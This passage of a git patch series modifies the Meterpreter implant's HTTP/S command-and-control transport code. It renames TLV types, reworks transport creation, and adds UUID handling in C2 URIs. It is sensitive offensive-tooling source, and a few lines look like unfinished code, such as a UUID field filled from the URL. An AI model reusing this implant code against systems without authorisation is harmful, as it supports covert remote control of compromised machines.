TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s). - TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms. - TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts. - TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests. - TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping. - // session/machine identification TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier. TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID. @@ -197,7 +182,7 @@ typedef enum TLV_TYPE_C2_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 712), ///! Proxy password TLV_TYPE_C2_GET = TLV_VALUE(TLV_META_TYPE_GROUP, 713), ///! A grouping of params associated with GET requests TLV_TYPE_C2_POST = TLV_VALUE(TLV_META_TYPE_GROUP, 714), ///! A grouping of params associated with POST requests - TLV_TYPE_C2_OTHER_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 715), ///! Custom headers + TLV_TYPE_C2_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 715), ///! Custom headers TLV_TYPE_C2_UA = TLV_VALUE(TLV_META_TYPE_STRING, 716), ///! User agent TLV_TYPE_C2_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 717), ///! Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_VALUE(TLV_META_TYPE_RAW, 718), ///! Data to prepend to the outgoing payload @@ -207,6 +192,7 @@ typedef enum TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 722), ///! Name of the cookie to put the UUID in TLV_TYPE_C2_UUID_GET = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Name of the GET parameter to put the UUID in TLV_TYPE_C2_UUID_HEADER = TLV_VALUE(TLV_META_TYPE_STRING, 724), ///! Name of the header to put the UUID in + TLV_TYPE_C2_UUID = TLV_VALUE(TLV_META_TYPE_STRING, 725), ///! The UUID string to use for the C2 transport TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index fce977da0..dbd2a4457 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -75,7 +75,7 @@ typedef struct _HttpRequestOptions { STRTYPE uri; STRTYPE ua; - STRTYPE other_headers; ///! Custom headers that aren't user agent, accept types, or referrer + STRTYPE headers; ///! Custom headers that aren't user agent, accept types, or referrer PBYTE payload_prefix; ///! Bytes to prepend to outgoing payloads. UINT payload_prefix_size; ///! Size of the payload prefix PBYTE payload_suffix; ///! Bytes to append to outgoing payloads. @@ -102,7 +102,7 @@ typedef struct _HttpTransportContext unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate. CSTRTYPE url; ///! Pointer to the URL stored with the transport. - STRTYPE new_uri; ///! New URI for stageless URI switches. + STRTYPE uuid; ///! UUID to use for the HTTP connection STRTYPE proxy; ///! Proxy details. STRTYPE proxy_user; ///! Proxy username. STRTYPE proxy_pass; ///! Proxy password. diff --git a/c/meterpreter/source/metsrv/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c index 0ac8d0b46..9afb13271 100644 --- a/c/meterpreter/source/metsrv/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -18,7 +18,7 @@ DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBu void set_transport_session_expiry(Remote* remote, Packet* packet) { int sessionExpiry = 0; - if (packet_get_tlv_uint(packet, TLV_TYPE_TRANS_SESSION_EXP, &sessionExpiry)) + if (packet_get_tlv_uint(packet, TLV_TYPE_SESSION_EXPIRY, &sessionExpiry)) { if (sessionExpiry) { @@ -35,137 +35,16 @@ void set_transport_session_expiry(Remote* remote, Packet* packet) DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBuffer) { - return ERROR_SUCCESS; -#ifdef FJDKLSA - DWORD result = ERROR_NOT_ENOUGH_MEMORY; - Transport* transport = NULL; - wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); - - TimeoutSettings timeouts = { 0 }; - - timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); - timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); - - // special case, will still leave this in here even if it's not transport related - set_transport_session_expiry(remote, packet); - - if (timeouts.comms == 0) + Tlv c2Tlv = { 0 }; + if (packet_get_tlv(packet, TLV_TYPE_C2, &c2Tlv) == ERROR_SUCCESS) { - timeouts.comms = remote->transport->timeouts.comms; + *transportBuffer = remote->trans_create(remote, packet, &c2Tlv); } - if (timeouts.retry_total == 0) - { - timeouts.retry_total = remote->transport->timeouts.retry_total; - } - if (timeouts.retry_wait == 0) - { - timeouts.retry_wait = remote->transport->timeouts.retry_wait; - } - - dprintf("[CHANGE TRANS] Url: %S", transportUrl); - dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); - dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); - dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); - - do - { - if (transportUrl == NULL) - { - dprintf("[CHANGE TRANS] Something was NULL"); - break; - } - - if (wcsncmp(transportUrl, L"tcp", 3) == 0) - { - MetsrvTransportTcp config = { 0 }; - config.common.comms_timeout = timeouts.comms; - config.common.retry_total = timeouts.retry_total; - config.common.retry_wait = timeouts.retry_wait; - memcpy(config.common.url, transportUrl, sizeof(config.common.url)); - transport = remote->trans_create(remote, &config.common, NULL); - } - else if (wcsncmp(transportUrl, L"pipe", 4) == 0) - { - MetsrvTransportNamedPipe config = { 0 }; - config.common.comms_timeout = timeouts.comms; - config.common.retry_total = timeouts.retry_total; - config.common.retry_wait = timeouts.retry_wait; - memcpy(config.common.url, transportUrl, sizeof(config.common.url)); - transport = remote->trans_create(remote, &config.common, NULL); - } - else - { - BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; - wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); - wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); - wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); - wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); - DWORD certHashLen = 0; - PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH, &certHashLen); - wchar_t* headers = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_HEADERS); - - size_t configSize = sizeof(MetsrvTransportHttp); - if (headers) - { - // this already caters for the null byte because it's included in the structure. - configSize += wcslen(headers); - } - - MetsrvTransportHttp* config = (MetsrvTransportHttp*)calloc(1, configSize); - config->common.comms_timeout = timeouts.comms; - config->common.retry_total = timeouts.retry_total; - config->common.retry_wait = timeouts.retry_wait; - wcsncpy(config->common.url, transportUrl, URL_SIZE); - - if (proxy) - { - wcsncpy(config->proxy.hostname, proxy, PROXY_HOST_SIZE); - free(proxy); - } - if (proxyUser) - { - wcsncpy(config->proxy.username, proxyUser, PROXY_USER_SIZE); - free(proxyUser); - } - - if (proxyPass) - { - wcsncpy(config->proxy.password, proxyPass, PROXY_PASS_SIZE); - free(proxyPass); - } - - if (ua) - { - wcsncpy(config->ua, ua, UA_SIZE); - free(ua); - } - - if (certHash) - { - memcpy(config->ssl_cert_hash, certHash, CERT_HASH_SIZE); - // No need to free this up as it's not a wchar_t - } - - if (headers) - { - wcscpy(config->custom_headers, headers); - } - - transport = remote->trans_create(remote, &config->common, NULL); - - free(config); - } - - // tell the server dispatch to exit, it should pick up the new transport - result = ERROR_SUCCESS; - } while (0); - - *transportBuffer = transport; + // special case, will still leave this in here even if it's not transport related + set_transport_session_expiry(remote, packet); - return result; -#endif + return ERROR_SUCCESS; } DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) @@ -184,69 +63,24 @@ DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) } // Add the session timeout to the top level - packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + packet_add_tlv_uint(response, TLV_TYPE_SESSION_EXPIRY, remote->sess_expiry_end - current_unix_timestamp()); Transport* current = remote->transport; Transport* first = remote->transport; do { - Packet* transportGroup = packet_create_group(); + Packet* c2Packet = packet_create_group(); - if (!transportGroup) + if (!c2Packet) { // bomb out, returning what we have so far. break; } - dprintf("[DISPATCH] Adding URL %S", current->url); - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); - dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); - dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); - dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); - - // TODO OJ - fill this back in -#if FALSE - switch (current->type) - { - case METERPRETER_TRANSPORT_HTTP: - case METERPRETER_TRANSPORT_HTTPS: - { - HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; - dprintf("[DISPATCH] Transport is HTTP/S"); - if (ctx->ua) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); - } - if (ctx->proxy) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); - } - if (ctx->proxy_user) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); - } - if (ctx->proxy_pass) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); - } - if (ctx->cert_hash) - { - packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); - } - if (ctx->custom_headers && ctx->custom_headers[0]) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_HEADERS, ctx->custom_headers); - } - break; - } - } -#endif + current->write_config(current, c2Packet); - packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); + packet_add_group(response, TLV_TYPE_C2, c2Packet); current = current->next_transport; } while (first != current); @@ -315,7 +149,7 @@ DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) { Transport* found = NULL; Transport* transport = remote->transport; - wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_C2_URL); do { @@ -361,7 +195,7 @@ DWORD remote_request_core_transport_add(Remote* remote, Packet* packet) BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result) { // we'll reuse the comm timeout TLV for this purpose - DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_C2_COMM_TIMEOUT); dprintf("[DISPATCH] request received to sleep for %u seconds", seconds); @@ -421,7 +255,7 @@ DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet) } DWORD certHashLen = 0; - unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH, &certHashLen); + unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_C2_CERT_HASH, &certHashLen); HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; // Support adding a new cert hash if one doesn't exist @@ -503,7 +337,7 @@ DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; if (ctx->cert_hash) { - packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + packet_add_tlv_raw(response, TLV_TYPE_C2_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); } } @@ -761,9 +595,9 @@ DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packe break; } - int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); - DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_C2_COMM_TIMEOUT); + DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_C2_RETRY_TOTAL); + DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_C2_RETRY_WAIT); set_transport_session_expiry(remote, packet); @@ -789,11 +623,11 @@ DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packe // for the session expiry, return how many seconds are left before the session actually expires if (remote->sess_expiry_end) { - packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + packet_add_tlv_uint(response, TLV_TYPE_SESSION_EXPIRY, remote->sess_expiry_end - current_unix_timestamp()); } - packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); + packet_add_tlv_uint(response, TLV_TYPE_C2_COMM_TIMEOUT, remote->transport->timeouts.comms); + packet_add_tlv_uint(response, TLV_TYPE_C2_RETRY_TOTAL, remote->transport->timeouts.retry_total); + packet_add_tlv_uint(response, TLV_TYPE_C2_RETRY_WAIT, remote->transport->timeouts.retry_wait); } while (0); diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 1a2fb3a26..dfd39c95a 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -119,7 +119,7 @@ BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result) else { HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + ctx->uuid = packet_get_tlv_value_wstring(packet, TLV_TYPE_C2_UUID); *result = ERROR_SUCCESS; } return TRUE; diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c new file mode 100644 index 000000000..9fac983f5 --- /dev/null +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -0,0 +1,87 @@ +/*! + * @file server_http_utils.c + * @remark HTTP utility function definitions. + */ +#include "metsrv.h" + +/*! + * @brief Generate the correct URI for the given HTTP connection. + * @param ctx Reference to the \c HttpTransportContext associated with the request. + * @param HttpConnect Reference to the \c HttpConnection associated with the request. + * @return Pointer to a wchar_t string containing the URI. Should be freed by the caller. + * @details This function will steal the UUID from the existing base URI and make sure it + * is included with any outbound URI that is associated with the request, and hence allows + * for the URI to change between get and post requests based on a C2 profile. + */ +PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn) +{ + PWCHAR baseUri = ctx->default_options.uri; + if (conn->options.uri) + { + baseUri = conn->options.uri; + } + + // if we don't have a UUID yet we are going to assume that it's in the base URI. + // If we do have a URI specified for this connection, we need to parse it. But only + // if the UUID location parameter is not specified in the cookie/httpheader + if (!ctx->uuid || conn->options.uuid_cookie || conn->options.uuid_header || ctx->default_options.uuid_cookie || ctx->default_options.uuid_header) + { + // return a copy of the baseUri in this case, the caller should free the result. + return _wcsdup(baseUri); + } + + PWCHAR getParam = ctx->default_options.uuid_get; + if (conn->options.uuid_get) + { + getParam = conn->options.uuid_get; + } + + + // General form of the URI will be + // -- /some/uri/(UUID)?some=thing(¶m=UUID) + // The location of the UUID changes depending on what's provided in the configuration + + PWCHAR queryString = wcschr(baseUri, L'?'); + size_t queryStringLen = queryString ? wcslen(queryString) : 0; + size_t baseUriLen = queryString ? queryString - baseUri : wcslen(baseUri); + size_t uuidLen = wcslen(ctx->uuid) + 2; // enough space for including slashes if required + + if (getParam) + { + queryStringLen += 2 + wcslen(getParam); + } + + // now let's glue the things together (with NULL terminator) + size_t uriLen = baseUriLen + queryStringLen + uuidLen + 1; + PWCHAR uri = (PWCHAR)calloc(uriLen, sizeof(wchar_t)); + + wcsncpy_s(uri, uriLen, baseUri, baseUriLen); + + // we put the UUID in the URI if it's not going in the query string + if (!getParam) + { + wcscat_s(uri, uriLen, L"/"); + wcscat_s(uri, uriLen, ctx->uuid); + wcscat_s(uri, uriLen, L"/"); + } + + // append existing query string, if any + if (queryString) + { + wcscat_s(uri, uriLen, queryString); + } + + // add the query string paramter if required + if (getParam) + { + wcscat_s(uri, uriLen, queryString ? L"&" : L"?"); + wcscat_s(uri, uriLen, conn->options.uuid_get); + wcscat_s(uri, uriLen, L"="); + wcscat_s(uri, uriLen, ctx->uuid); + } + + dprintf("[GENURI] final URI: %S", uri); + + return uri; +} + diff --git a/c/meterpreter/source/metsrv/server_http_utils.h b/c/meterpreter/source/metsrv/server_http_utils.h new file mode 100644 index 000000000..7e20150ad --- /dev/null +++ b/c/meterpreter/source/metsrv/server_http_utils.h @@ -0,0 +1,12 @@ +/*! + * @file server_http_utils.h + * @remark HTTP utility function declarations. + */ +#ifndef _METERPRETER_METSRV_SERVER_HTTP_UTILS +#define _METERPRETER_METSRV_SERVER_HTTP_UTILS + +#include "metsrv.h" + +PWSTR generate_uri(HttpTransportContext* ctx, HttpConnection* conn); + +#endif diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index b7a64eda1..782a4002f 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -234,12 +234,12 @@ static BOOL write_to_request(HANDLE hReq, LPVOID buffer, DWORD size) */ static BOOL send_request_winhttp(HttpTransportContext* ctx, HANDLE hReq, BOOL isGet, LPVOID buffer, DWORD size) { - PWSTR headers = ctx->default_options.other_headers; + PWSTR headers = ctx->default_options.headers; HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; - if (conn->options.other_headers) + if (conn->options.headers) { - headers = conn->options.other_headers; + headers = conn->options.headers; } DWORD headerLength = headers == NULL ? 0 : -1L; @@ -860,61 +860,6 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) { running = command_handle(remote, packet); dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop")); - - if (ctx->new_uri != NULL) - { - dprintf("[DISPATCH] Recieved hot-patched URL for stageless: %S", ctx->new_uri); - dprintf("[DISPATCH] Old URI is: %S", ctx->default_options.uri); - dprintf("[DISPATCH] Old URL is: %S", transport->url); - - // if the new URI needs more space, let's realloc space for the new URL now - int diff = (int)wcslen(ctx->new_uri) - (int)wcslen(ctx->default_options.uri); - if (diff > 0) - { - dprintf("[DISPATCH] New URI is bigger by %d", diff); - transport->url = (wchar_t*)realloc(transport->url, (wcslen(transport->url) + diff + 1) * sizeof(wchar_t)); - } - - // we also need to patch the new URI into the original transport URL, not just the currently - // active URI for comms. If we don't, then migration behaves badly. - // The URL looks like this: http(s)://:port/lurivalue/UUIDJUNK/ - // Start by locating the start of the URI in the current URL, by finding the third slash, - // as this value includes the LURI - wchar_t* csr = transport->url; - for (int i = 0; i < 3; ++i) - { - // We need to move to the next character first in case - // we are currently pointing at the previously found / - // we know we're safe skipping the first character in the whole - // URL because that'll be part of the scheme (ie. 'h' in http) - ++csr; - - while (*csr != L'\0' && *csr != L'/') - { - ++csr; - } - - dprintf("[DISPATCH] %d csr: %p -> %S", i, csr, csr); - - // this shouldn't happen! - if (*csr == L'\0') - { - break; - } - } - - // the pointer that we have will be - dprintf("[DISPATCH] Pointer is at: %p -> %S", csr, csr); - - // patch in the new URI - wcscpy_s(csr, wcslen(diff > 0 ? ctx->new_uri : ctx->default_options.uri) + 1, ctx->new_uri); - dprintf("[DISPATCH] New URL is: %S", transport->url); - - // clean up - SAFE_FREE(ctx->default_options.uri); - ctx->default_options.uri = ctx->new_uri; - ctx->new_uri = NULL; - } } else { @@ -930,7 +875,7 @@ static void destroy_options(HttpRequestOptions* options) { SAFE_FREE(options->ua); SAFE_FREE(options->uri); - SAFE_FREE(options->other_headers); + SAFE_FREE(options->headers); SAFE_FREE(options->payload_prefix); SAFE_FREE(options->payload_suffix); SAFE_FREE(options->uuid_cookie); @@ -956,6 +901,7 @@ static void transport_destroy_http(Transport* transport) SAFE_FREE(ctx->proxy); SAFE_FREE(ctx->proxy_pass); SAFE_FREE(ctx->proxy_user); + SAFE_FREE(ctx->uuid); destroy_options(&ctx->post_connection.options); destroy_options(&ctx->get_connection.options); @@ -987,9 +933,9 @@ BOOL set_http_options_to_tlv(Packet* optionsPacket, HttpRequestOptions* sourceOp { packet_add_tlv_uint(optionsPacket, TLV_TYPE_C2_ENC, sourceOptions->encode_flags); } - if (sourceOptions->other_headers != NULL) + if (sourceOptions->headers != NULL) { - packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_OTHER_HEADERS, sourceOptions->other_headers); + packet_add_tlv_wstring(optionsPacket, TLV_TYPE_C2_HEADERS, sourceOptions->headers); } if (sourceOptions->payload_prefix != NULL && sourceOptions->payload_prefix_size > 0) { @@ -1033,6 +979,7 @@ void transport_write_http_config(Transport* transport, Packet* configPacket) { Packet* c2Packet = packet_create_group(); packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_URL, transport->url); + packet_add_tlv_wstring(c2Packet, TLV_TYPE_C2_UUID, transport->url); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_COMM_TIMEOUT, transport->timeouts.comms); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_WAIT, transport->timeouts.retry_wait); packet_add_tlv_uint(c2Packet, TLV_TYPE_C2_RETRY_TOTAL, transport->timeouts.retry_total); @@ -1072,7 +1019,7 @@ void transport_write_http_config(Transport* transport, Packet* configPacket) BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptions* targetOptions) { targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); - targetOptions->other_headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_OTHER_HEADERS, NULL); + targetOptions->headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_HEADERS, NULL); targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &targetOptions->payload_prefix_size); targetOptions->payload_skip_count = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SKIP_COUNT); targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, &targetOptions->payload_suffix_size); @@ -1098,7 +1045,7 @@ BOOL get_http_options_from_config(Packet* packet, Tlv* c2Tlv, UINT tlvType, Http static void debug_print_http_options(PSTR type, HttpRequestOptions* options) { dprintf("[HTTP OPTION] - %s - Encode Flags: 0x%x", type, options->encode_flags); - dprintf("[HTTP OPTION] - %s - Other Headers: %S", type, options->other_headers); + dprintf("[HTTP OPTION] - %s - Headers: %S", type, options->headers); dprintf("[HTTP OPTION] - %s - Payload Prefix Size: %u", type, options->payload_prefix_size); dprintf("[HTTP OPTION] - %s - Payload Prefix: %s", type, options->payload_prefix); dprintf("[HTTP OPTION] - %s - Payload Suffix Size: %u", type, options->payload_suffix_size); @@ -1130,6 +1077,45 @@ Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) memset(transport, 0, sizeof(Transport)); memset(ctx, 0, sizeof(HttpTransportContext)); + ctx->uuid = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_UUID, NULL); + dprintf("[TRANS HTTP] Given UUID: %S", ctx->uuid); + if (ctx->uuid == NULL) + { + // given no UUID, so pull it out of the URL + PWCHAR queryString = wcschr(url, L'?'); + PWSTR uriEnd = (queryString ? queryString : url + wcslen(url)) - 1; + dprintf("[TRANS HTTP] Uri End: %C %S", *uriEnd, uriEnd); + if (*uriEnd == L'/') + { + --uriEnd; + } + dprintf("[TRANS HTTP] Uri End Now: %C %S", *uriEnd, uriEnd); + PWSTR uriStart = uriEnd - 1; + while (*(uriStart - 1) != L'/') + { + --uriStart; + } + dprintf("[TRANS HTTP] Uri Start: %S", uriStart); + + size_t uriLen = uriEnd - uriStart + 1; + dprintf("[TRANS HTTP] UUID uri length: %u", uriLen); + size_t uriSize = uriLen + 1; + + ctx->uuid = (PWSTR)calloc(sizeof(wchar_t), uriSize); + wcsncpy_s(ctx->uuid, uriSize, uriStart, uriLen); + dprintf("[TRANS HTTP] Calculated UUID: %S", ctx->uuid); + + // terminate the existing URI + *uriStart = 0; + dprintf("[TRANS HTTP] Adjusted URL 1: %S", url); + if (queryString) + { + // copy over the query string if it's there + wcscpy_s(uriStart, wcslen(queryString), queryString); + } + dprintf("[TRANS HTTP] Adjusted URL 2: %S", url); + } + ctx->proxy = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_HOST, NULL); dprintf("[TRANS HTTP] Given proxy user: %S", ctx->proxy); diff --git a/c/meterpreter/source/metsrv/server_transport_wininet.c b/c/meterpreter/source/metsrv/server_transport_wininet.c index cb07f98b8..65b547be5 100644 --- a/c/meterpreter/source/metsrv/server_transport_wininet.c +++ b/c/meterpreter/source/metsrv/server_transport_wininet.c @@ -109,12 +109,12 @@ static BOOL read_response_wininet(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, */ static BOOL send_request_wininet(HttpTransportContext* ctx, HANDLE hReq, BOOL isGet, LPVOID buffer, DWORD size) { - PWSTR headers = ctx->default_options.other_headers; + PWSTR headers = ctx->default_options.headers; HttpConnection* conn = isGet ? &ctx->get_connection : &ctx->post_connection; - if (conn->options.other_headers) + if (conn->options.headers) { - headers = conn->options.other_headers; + headers = conn->options.headers; } DWORD headerLength = headers == NULL ? 0 : -1L; From 63aa5d77e4e9c00a2cbad8802a0bfd00a8f025ce Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 24 Jul 2025 14:00:16 +1000 Subject: [PATCH 10/24] Better support for UUID in GET/HEADER/URI Various tweaks to support it on the server side as well. --- .../source/common/common_command_ids.h | 2 +- c/meterpreter/source/metsrv/remote_dispatch.c | 16 +++-- .../source/metsrv/server_transport_winhttp.c | 61 +++++++++++++++---- 3 files changed, 56 insertions(+), 23 deletions(-) diff --git a/c/meterpreter/source/common/common_command_ids.h b/c/meterpreter/source/common/common_command_ids.h index 521c7f2d3..3c37f414c 100644 --- a/c/meterpreter/source/common/common_command_ids.h +++ b/c/meterpreter/source/common/common_command_ids.h @@ -38,7 +38,7 @@ #define COMMAND_ID_CORE_MIGRATE 14 #define COMMAND_ID_CORE_NATIVE_ARCH 15 #define COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION 16 -#define COMMAND_ID_CORE_PATCH_URL 17 +#define COMMAND_ID_CORE_PATCH_UUID 17 #define COMMAND_ID_CORE_PIVOT_ADD 18 #define COMMAND_ID_CORE_PIVOT_REMOVE 19 #define COMMAND_ID_CORE_PIVOT_SESSION_DIED 20 diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index dfd39c95a..311ebe191 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -21,7 +21,7 @@ DWORD request_core_machine_id(Remote* remote, Packet* packet); DWORD request_core_get_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_uuid(Remote* remote, Packet* packet); -BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result); +BOOL request_core_patch_uuid(Remote* remote, Packet* packet, DWORD* result); // Dispatch table Command customCommands[] = @@ -34,7 +34,7 @@ Command customCommands[] = COMMAND_REQ(COMMAND_ID_CORE_SET_UUID, request_core_set_uuid), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_ADD, request_core_pivot_add), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_REMOVE, request_core_pivot_remove), - COMMAND_INLINE_REP(COMMAND_ID_CORE_PATCH_URL, request_core_patch_url), + 